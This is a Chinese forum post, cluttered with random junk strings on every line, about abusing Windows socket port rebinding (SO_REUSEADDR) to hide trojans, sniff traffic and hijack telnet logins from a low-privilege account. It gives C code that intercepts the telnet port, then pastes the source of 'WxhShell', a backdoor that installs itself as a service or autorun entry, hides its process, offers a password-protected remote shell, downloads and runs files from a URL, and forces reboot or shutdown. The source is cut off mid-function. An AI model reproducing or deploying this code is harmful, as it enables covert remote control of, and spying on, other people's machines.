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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1eF@_Y^a!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U]mO7HK  
#VR`?n?,  
  saddr.sin_family = AF_INET; rr4 _8Rf  
-W6V,+of  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hhj ,rcsi  
J{x##p<F$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cuNq9y;[  
>rRjm+vg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 04[)qPPS  
dcR6KG8  
  这意味着什么?意味着可以进行如下的攻击: y|LXDq4Wj  
6d(b'S^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y?e3Bx7*b  
bZnDd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $"(3MnR  
EKJH_!%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *fOIq88  
DW4MA<UQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ls]Elo8h1f  
5I_hh?N4Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "pl[(rc+u  
%rX\ P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [L)V(o)v  
Z%A<#%    
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @Zh8 QI+  
Y~x`6  
  #include Wd1 IX^7C%  
  #include tUn&z?7bF  
  #include wfWS-pQ  
  #include    l.yJA>\24I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a6OrE*x:D  
  int main() 7dsnv)(v  
  { YU*46 hA1B  
  WORD wVersionRequested; =7H.F:BBG  
  DWORD ret; #SK#k<&P  
  WSADATA wsaData;   -kV|  
  BOOL val; zww?  
  SOCKADDR_IN saddr; R^F7a0"  
  SOCKADDR_IN scaddr; ?Of{c,2 .  
  int err; W[@"H1bVH  
  SOCKET s; ?BXP}]  
  SOCKET sc; t>m8iS>  
  int caddsize; he_HVRpB  
  HANDLE mt; d#RF0,Y9  
  DWORD tid;   38OIFT  
  wVersionRequested = MAKEWORD( 2, 2 ); Z={UM/6w  
  err = WSAStartup( wVersionRequested, &wsaData ); OME!W w  
  if ( err != 0 ) { #a/n5c&6/  
  printf("error!WSAStartup failed!\n"); G >I.  
  return -1; s}z(|I rH  
  } vK[v eFH  
  saddr.sin_family = AF_INET; tP/GDC;  
   }6yxt9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q'>_59  
:qt82tbn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2{ jtQlc  
  saddr.sin_port = htons(23); }7f 1(#{7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  4Ub?*  
  { K gR1El. r  
  printf("error!socket failed!\n"); \emT:Frb  
  return -1; p P_wBX  
  } tF{{cd  
  val = TRUE; bdNY7|j`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q#d+IIR0gK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CfazD??x  
  { S5YDS|K  
  printf("error!setsockopt failed!\n"); /It.>1~2@  
  return -1; PaU@T!v  
  } }bj,&c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ORFr7a'K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !>"INmz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f@,hO5h(_|  
>TH-Q[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c +"O\j'  
  { {VrAh*#h  
  ret=GetLastError(); .q~,.yI&j  
  printf("error!bind failed!\n"); #b<lt'gC  
  return -1; qHcY 2LV  
  } uv_P{%TK  
  listen(s,2); ;m M\, {Z  
  while(1) 6+{nw}e8  
  { ~CjmYP'o  
  caddsize = sizeof(scaddr); #lLn='4  
  //接受连接请求 4Tbi%vF{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q=j/s4~  
  if(sc!=INVALID_SOCKET) SWe!9Y$  
  { 7,&3=R <  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z}Mb4{d1  
  if(mt==NULL) '/ ]fZ|  
  { =~(LJPo6  
  printf("Thread Creat Failed!\n"); SIyS.!k>  
  break; HY%6eUhj  
  } PN)TX~}  
  } 4w3V!K8  
  CloseHandle(mt); ]h`E4B  
  } .DM1Knj  
  closesocket(s); ~-o^eI4_  
  WSACleanup(); s OrY^cY;  
  return 0; XEe+&VQmY  
  }   k(w9vt0?  
  DWORD WINAPI ClientThread(LPVOID lpParam) RvgAI`T7$  
  { =*U%j  
  SOCKET ss = (SOCKET)lpParam; S^sW.(I  
  SOCKET sc; (p#;6Xhf  
  unsigned char buf[4096]; Td=] tVM  
  SOCKADDR_IN saddr; 6A{s%v H  
  long num; R4K eUn"  
  DWORD val; _4x[}e7KF  
  DWORD ret;  nd*!`P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3GuMiht5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~[bMfkc3  
  saddr.sin_family = AF_INET; a 7mKshY(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P PIG?fK)  
  saddr.sin_port = htons(23); J6?_?XzToT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;74 DT  
  { d$G%F$BTs  
  printf("error!socket failed!\n"); XDv7#Tv_wv  
  return -1; C[/U y  
  } l1.Aw|'D  
  val = 100; 30T:* I|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E]e[Ty1  
  { 'yAoZ P\|  
  ret = GetLastError(); $SD@D6`lL  
  return -1; ~{]m8a/ `6  
  } 28ov+s~1+-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V'BZ=.=  
  { ^.$r1/U  
  ret = GetLastError(); @kgpq  
  return -1; +~v3D^L15  
  } .L 5T4)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D} <o<Dk  
  { crOtQ  
  printf("error!socket connect failed!\n"); <@;xV_`X+  
  closesocket(sc); d .lu  
  closesocket(ss); ZkV vL4yIK  
  return -1; -uY:2  
  } sn T4X  
  while(1) c Dh4@V  
  { 5)zj){wL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H1c|b !C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aDJjVD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uq1(yyWp(  
  num = recv(ss,buf,4096,0); }A&Xxh!Fwo  
  if(num>0) J&0wl]w|O%  
  send(sc,buf,num,0); Ga/\kO)x_  
  else if(num==0) '_yk_[/  
  break; ,-NLUS "w  
  num = recv(sc,buf,4096,0); YH'.Yj2  
  if(num>0) :!*;0~#  
  send(ss,buf,num,0); QH? 2v  
  else if(num==0) l`w|o  
  break; x_^OS"h-  
  } 0 6v5/Xf  
  closesocket(ss); 68G] a N3  
  closesocket(sc); 3@WI*PMc  
  return 0 ; LW8{a&  
  } "u$ ]q1S  
+sq, !6#G  
>C d&K9H  
========================================================== di P4]/%1  
Fl|&eO,e  
下边附上一个代码,,WXhSHELL HW%bx"r+4f  
NBR'^6  
========================================================== 4lo}-@j  
>j~70 ?  
#include "stdafx.h" ,IX4Zo"a  
FO)nW:8]  
#include <stdio.h> LRlk9:QD>  
#include <string.h> ^V;lZtZ  
#include <windows.h> Ognq*[om  
#include <winsock2.h> W&q5cz  
#include <winsvc.h> ^xu)~:} i  
#include <urlmon.h> JdNPfkOF  
_( A +_|  
#pragma comment (lib, "Ws2_32.lib") B qiq  
#pragma comment (lib, "urlmon.lib") Ta5iY }  
-tdON  
#define MAX_USER   100 // 最大客户端连接数 )( jNd&H  
#define BUF_SOCK   200 // sock buffer l4.@YYzbp.  
#define KEY_BUFF   255 // 输入 buffer 0JWD] "  
YyBq+6nq5  
#define REBOOT     0   // 重启 x?& xz;  
#define SHUTDOWN   1   // 关机 i{RS/,h4  
T{J`t*Ym  
#define DEF_PORT   5000 // 监听端口 )RKhEm%Vr2  
2o7C2)YT$  
#define REG_LEN     16   // 注册表键长度 U=?"j-wN  
#define SVC_LEN     80   // NT服务名长度 $">NW& i(  
P\4o4MF@K  
// 从dll定义API &ZFAUE,[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /M c"K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~G^doj3|+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >" 8j{ s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }K]VlFR  
i'LTKj  
// wxhshell配置信息 *bC^X'  
struct WSCFG { }^bL'  
  int ws_port;         // 监听端口 3 AF]en  
  char ws_passstr[REG_LEN]; // 口令 |(8h:g  
  int ws_autoins;       // 安装标记, 1=yes 0=no bM_(`]&*  
  char ws_regname[REG_LEN]; // 注册表键名 `CUO!'U  
  char ws_svcname[REG_LEN]; // 服务名 w)>z3L m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?)<XuMh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xb_:9   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a^1c _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I*ni)Px  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rKO*A7vE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %QZ!Tb  
$7 Uk;xV  
}; 9 3I9`!e  
$?Mz[X  
// default Wxhshell configuration LjAIB(*  
struct WSCFG wscfg={DEF_PORT, &_^<B7aC'k  
    "xuhuanlingzhe", W{/z-&  
    1, [gY__  
    "Wxhshell", (:muxby%  
    "Wxhshell", HcUz2Rm5XP  
            "WxhShell Service", K1WoIv<Ym  
    "Wrsky Windows CmdShell Service",  -KiS6$-  
    "Please Input Your Password: ", uk/+ i`=  
  1, DfFPGFv  
  "http://www.wrsky.com/wxhshell.exe", k.Nu(j"z  
  "Wxhshell.exe" i^KYZ4/%  
    }; %dR./{txT  
wLSYzz  
// 消息定义模块 -$ft `Ih  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [\F,\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \+A<s,x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ',%&DA2  
char *msg_ws_ext="\n\rExit."; $yK!Q)e:  
char *msg_ws_end="\n\rQuit."; p~co!d.q/}  
char *msg_ws_boot="\n\rReboot..."; @ ]3Rw[% z  
char *msg_ws_poff="\n\rShutdown...";  e) (|  
char *msg_ws_down="\n\rSave to "; 8H b|'Q|^  
8{<cqYCR  
char *msg_ws_err="\n\rErr!"; 1uQf}  
char *msg_ws_ok="\n\rOK!"; H)+kN'J  
m%\[1|N  
char ExeFile[MAX_PATH]; JH;DVPX9z  
int nUser = 0; z Pc;[uHT  
HANDLE handles[MAX_USER]; v w;  
int OsIsNt; >u2#<k]1&  
@S92D6  
SERVICE_STATUS       serviceStatus; Wc G&W>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zi)8KO[/0  
T480w6-@  
// 函数声明 PyF4uCn"H  
int Install(void); 0GVok$r@  
int Uninstall(void); PSE| 4{'  
int DownloadFile(char *sURL, SOCKET wsh); t"Hrn3w  
int Boot(int flag); rT)R*3  
void HideProc(void); 'E,Yht=/}  
int GetOsVer(void); r8.v0b"1  
int Wxhshell(SOCKET wsl); \LXC269  
void TalkWithClient(void *cs); ><w=  
int CmdShell(SOCKET sock); tdi^e;:?  
int StartFromService(void); `VXC*A   
int StartWxhshell(LPSTR lpCmdLine); r0:I  
u(C?\HaH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #,;X2%c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #xNXCBl]O  
\9%RY]TK3  
// 数据结构和表定义 d)'J:  
SERVICE_TABLE_ENTRY DispatchTable[] = `KHP?lX  
{ &XZS}n  
{wscfg.ws_svcname, NTServiceMain}, EF8'ycJk+  
{NULL, NULL} HwxME%w  
}; VQ/Jz5^  
" "{#~X}  
// 自我安装 uTvck6  
int Install(void) dPb@[k  
{ 4n}^1eQ9  
  char svExeFile[MAX_PATH]; "PfNC<MQo  
  HKEY key; 859ID8F  
  strcpy(svExeFile,ExeFile); =*=qleC3  
Zd <8c^@  
// 如果是win9x系统,修改注册表设为自启动 @f%q ,:  
if(!OsIsNt) { @ $2xiE.[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aP`V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !_pryNcb  
  RegCloseKey(key); +^<-;/FZue  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 50HRgoP5Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eGk`Z>  
  RegCloseKey(key); tish%Qnpd  
  return 0; |P`:NAf2  
    } :M9 E  
  } ,+o*>fD  
} TW!>~|U)y  
else { woyeKOr  
Hmv@7$9s\  
// 如果是NT以上系统,安装为系统服务 b$/ 'dnx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <}t<A  
if (schSCManager!=0) H-'~c \)  
{ @ZtDjxN &  
  SC_HANDLE schService = CreateService #n6<jF1G  
  ( gF8n{b  
  schSCManager, <Kt;uu>  
  wscfg.ws_svcname, "Oq>i9v;|$  
  wscfg.ws_svcdisp, OE[N$,4I*  
  SERVICE_ALL_ACCESS, D.Z4noMA6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t`eUD>\  
  SERVICE_AUTO_START, C?fa-i0l^  
  SERVICE_ERROR_NORMAL, xSL%1>MrN  
  svExeFile, lbnH|;`$]m  
  NULL, &'A8R;b}-?  
  NULL, +X4/l"|  
  NULL, v|#}LQZ  
  NULL, obtXtqew  
  NULL xq\A TON  
  ); f ,WAl\  
  if (schService!=0) ?n9?`8a#  
  { K-,8~8[  
  CloseServiceHandle(schService); IHStN,QD  
  CloseServiceHandle(schSCManager); \8iWcqJktN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q&0I7OV  
  strcat(svExeFile,wscfg.ws_svcname); 6U[bAp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @`H47@e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m j@{hGP  
  RegCloseKey(key); } 0x'm  
  return 0; !R"iV^?V  
    } (^ ;Fyf/  
  } pqnZ:'V  
  CloseServiceHandle(schSCManager); L>{p>  
} 0zrZrl  
} 2-x#|9  
0pl |  
return 1; OM 4, Sevk  
} ~CQTPR  
^E= w3g&  
// 自我卸载 *\T ]Z&E"  
int Uninstall(void) FCPi U3  
{ #azD& 6`  
  HKEY key; 2#t35fU  
uwhb-.w  
if(!OsIsNt) { gbL!8Z1h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LS{t7P9K  
  RegDeleteValue(key,wscfg.ws_regname); @-G^Jm9~\m  
  RegCloseKey(key); GEQ3r'B|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $9Asr07  
  RegDeleteValue(key,wscfg.ws_regname); F2Nb]f  
  RegCloseKey(key); t%Hy#z1W_  
  return 0; \SQwIM   
  } (OT&:WwW  
} *g~\lFX,u  
} GMJ</xG  
else { Jrm 9,7/  
X0e#w?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?/ Cl  
if (schSCManager!=0) |)+; d  
{ N;.}g*_+}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i{5,mS&  
  if (schService!=0) "*N=aHsj  
  { Y1Sfhs )  
  if(DeleteService(schService)!=0) { > nOU 8  
  CloseServiceHandle(schService); LJ+Qe%|  
  CloseServiceHandle(schSCManager); mOE%:xq9-  
  return 0; Ed+"F{!eQ  
  } ">hOD'PG  
  CloseServiceHandle(schService); b%"Lwqdr7  
  } Cp[ NVmN  
  CloseServiceHandle(schSCManager); C)8>_PY[M  
} [6{o13mCWE  
} qt{{q  
'mR9Uqq\  
return 1; eV)'@ 8p  
} QM 'Db`B  
E0-<-w3'  
// 从指定url下载文件 *eb2()B%  
int DownloadFile(char *sURL, SOCKET wsh) <C6*-j1oz  
{ I|oS`iLl$  
  HRESULT hr; (M,IgSn9  
char seps[]= "/"; SFQYrY  
char *token; ]F81N(@:F  
char *file; $bd2TVNV:  
char myURL[MAX_PATH]; [/iT D=O,  
char myFILE[MAX_PATH]; P}RewMJ$L  
@.SuHd  
strcpy(myURL,sURL); 1w/Ur'8we  
  token=strtok(myURL,seps); D`C#O 7.N  
  while(token!=NULL) TE!+G\@  
  { PGaYYc3X  
    file=token; g7r_jj%ow  
  token=strtok(NULL,seps); 1Zj NRg=  
  } Q>[Xm)jr:  
H 6~6hg  
GetCurrentDirectory(MAX_PATH,myFILE); |NoTwK  
strcat(myFILE, "\\"); gvl3NQQ%t  
strcat(myFILE, file); r#;GVJR6  
  send(wsh,myFILE,strlen(myFILE),0); Obb"#W@3  
send(wsh,"...",3,0); do>,ELS+m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L/sMAB  
  if(hr==S_OK) QqU>V0y"w(  
return 0; xJSK"  
else sN%#e+(=  
return 1; *dw6>G0U  
M7JQw/,xs  
} dqu+-43I|  
yl'@p 5n  
// 系统电源模块 (yB)rBh>n  
int Boot(int flag) xG|T_|?  
{ _I1:|y  
  HANDLE hToken; A;\1`_i0  
  TOKEN_PRIVILEGES tkp; quGv q"Y>  
i`hr'}x  
  if(OsIsNt) { |1[3RnG S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2\/,X CQV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  5gZ6H/.  
    tkp.PrivilegeCount = 1; ]:X# w0UR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <*'%Xgm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $wBF'|eU  
if(flag==REBOOT) { znxP.=GB   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]dj W^C]94  
  return 0; {BS}9jZx  
} !/;/ X\d  
else { &?)? w-$p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~#^suy?  
  return 0; Or9"T]z  
} UG5AF Z\  
  } "ytPS~  
  else { m:  
if(flag==REBOOT) { _hz}I>G@B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m2|%AD  
  return 0; a#L:L8T;j  
} 5zf bI  
else { #FNSE*Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o,D7$WzL  
  return 0; <jwQ&fm)/R  
} "7X[@xX@  
} {k"t`uo_  
ah9P C7[  
return 1; uihU)]+@t/  
} uZ/XI {/  
g;n6hXq4  
// win9x进程隐藏模块 kQt#^pO)  
void HideProc(void) ><Awk~KR  
{ 3<%ci&B  
^_rBEyz@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nm.G,6<J  
  if ( hKernel != NULL ) yPXa  
  { c`E0sgp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YQ7\99tj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P]mJ01@'  
    FreeLibrary(hKernel); TEN~3 Ef#  
  } gL(_!mcwu  
LjEG1$F>  
return; , R;k>'.  
} :Q-QY)hH  
=Sp+$:q*  
// 获取操作系统版本 FBP'AL|  
int GetOsVer(void) t3(~aH  
{ k+5l  
  OSVERSIONINFO winfo; BV-(`#~:y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V=cJdF  
  GetVersionEx(&winfo); s'4%ZE2Dr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GnFm*L  
  return 1; KKcajN  
  else nd #owjB  
  return 0; m<liPl uv  
} &)ED||r,  
E gD$A!6N8  
// 客户端句柄模块 .:I^O[k  
int Wxhshell(SOCKET wsl) s$D"  
{ 5>!I6[{  
  SOCKET wsh; ^(+@uuBx  
  struct sockaddr_in client; dzRnI*  
  DWORD myID; 7zcmv"`  
;#XF.l,u  
  while(nUser<MAX_USER) Z(Z$>P&4  
{ >.1d1#+b  
  int nSize=sizeof(client); mTU[khEmL=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e,D RQ2AU  
  if(wsh==INVALID_SOCKET) return 1; 5I>a|I!j  
dIq*"Ry+~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jb83Y>  
if(handles[nUser]==0) K 3.z>.F'h  
  closesocket(wsh); k@ So l6  
else `P/87=h  
  nUser++; ^9zlxs`<d  
  } ZuNUha&a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \ !qe@h<  
$g&_7SJ@  
  return 0; yW]>v>l:Eg  
} K +l-A>Ic  
U9Gg#M4tY  
// 关闭 socket vtw97G  
void CloseIt(SOCKET wsh) ecMpU8}rR  
{ @ *&`1  
closesocket(wsh); !%/2^  
nUser--; .Mxt F\  
ExitThread(0); 49tJ+J-N  
} A)80qx:  
7TB&Q*Zf  
// 客户端请求句柄 cMoBYk  
void TalkWithClient(void *cs) sUk&NM%>  
{ = J0r,dR  
2= )V"lR\  
  SOCKET wsh=(SOCKET)cs; J 7HOSFwXn  
  char pwd[SVC_LEN]; RHu4cK!5  
  char cmd[KEY_BUFF]; RH^; M-'  
char chr[1]; Im"8+756  
int i,j; Fgw$;W  
5 D[`nU}  
  while (nUser < MAX_USER) { q-r5zGI  
=6d'/D#J  
if(wscfg.ws_passstr) { Zfc{}ius  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q;k D Jo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @g] >D  
  //ZeroMemory(pwd,KEY_BUFF); S76x EL  
      i=0; $VJE&b  
  while(i<SVC_LEN) { "\O{!Hj8  
J?/NJ-F  
  // 设置超时 nkkUby9  
  fd_set FdRead; c?}{>ig/)  
  struct timeval TimeOut; i;<K)5Z  
  FD_ZERO(&FdRead); 1Gw_S?$7  
  FD_SET(wsh,&FdRead); G7k.YtW  
  TimeOut.tv_sec=8; bW2Msv/H  
  TimeOut.tv_usec=0; :a*F>S!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LM*m> n*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :Tdl84   
+a|u,'u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); asL!@YE  
  pwd=chr[0]; `^: v+!  
  if(chr[0]==0xd || chr[0]==0xa) { BYZllwxwTE  
  pwd=0; @N6KZn |R  
  break; J:dNV <A^  
  } b8h6fB:2  
  i++; ~EO=;a_  
    } ge[&og/$  
97n,^t2F\  
  // 如果是非法用户,关闭 socket <ahcE1h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \]qwD m/  
} qz }PTx  
A&C?|M? M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?jn";:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N6h.zl&04  
F>ps& h  
while(1) { i|N(= Z=  
A&`7 l5~X  
  ZeroMemory(cmd,KEY_BUFF); Q32GI,M%B  
D' `[y  
      // 自动支持客户端 telnet标准   DIWcX<s  
  j=0; kYu"`_n}  
  while(j<KEY_BUFF) { !$!"$-5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E@8&#<  
  cmd[j]=chr[0]; $*;ke5Dm4  
  if(chr[0]==0xa || chr[0]==0xd) { ee*E:Ltz\  
  cmd[j]=0; f/pr  
  break; K~14;  
  } XB+Juk&d  
  j++; V]|P>>`v9p  
    } ^fhkWx4i  
.] BJM?9  
  // 下载文件 j12khp?  
  if(strstr(cmd,"http://")) { Wa'm]J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r~sQdf  
  if(DownloadFile(cmd,wsh)) !;B^\ 8{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c59l/qoz  
  else d~w}{LR[1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /;9]LC.g  
  } h9j/mUwV  
  else { 8EAkM*D w  
N}7tjk   
    switch(cmd[0]) { E{E%nXR)  
  QW6\~l 4  
  // 帮助 <'<{|$Pw  
  case '?': { ]F1ZeAh5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S1W(]%0/  
    break; |d=MX>i|G  
  } aDE)Nf}  
  // 安装 nnBl:p>< k  
  case 'i': { "~aCW~  
    if(Install()) m'ykDK\B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r$z0C&5  
    else [9xUMX^}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s9b 6l,Z  
    break; |T^c(RpOE  
    } %SD=3UK6  
  // 卸载 $_NP4V8|z/  
  case 'r': { -<.b3Mh  
    if(Uninstall()) ]BBL=$*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tQrkRg(E:  
    else m\?H < o0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @XL5$k[Y  
    break; U4*Q;A#  
    } UfWn\*J&k  
  // 显示 wxhshell 所在路径 O>H'o k  
  case 'p': { ^$I8ga  
    char svExeFile[MAX_PATH]; ckTk2xPQ  
    strcpy(svExeFile,"\n\r"); kg^VzNX  
      strcat(svExeFile,ExeFile); qu:nV"~_  
        send(wsh,svExeFile,strlen(svExeFile),0); ^E^Cj;od@  
    break; - .EH?{i  
    }  nW*D  
  // 重启 E'O[E=  
  case 'b': { zZax![Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d1rIU6  
    if(Boot(REBOOT)) 3pF7} P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kZ>Xl- LV  
    else { $|V@3`0  
    closesocket(wsh); L d;))e  
    ExitThread(0); qXw^y  
    } Ob#d;F  
    break; uVn"'p-  
    } OmR) W'  
  // 关机 X5gI'u  
  case 'd': { j aEUz5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @jxAU7!  
    if(Boot(SHUTDOWN)) h vO  
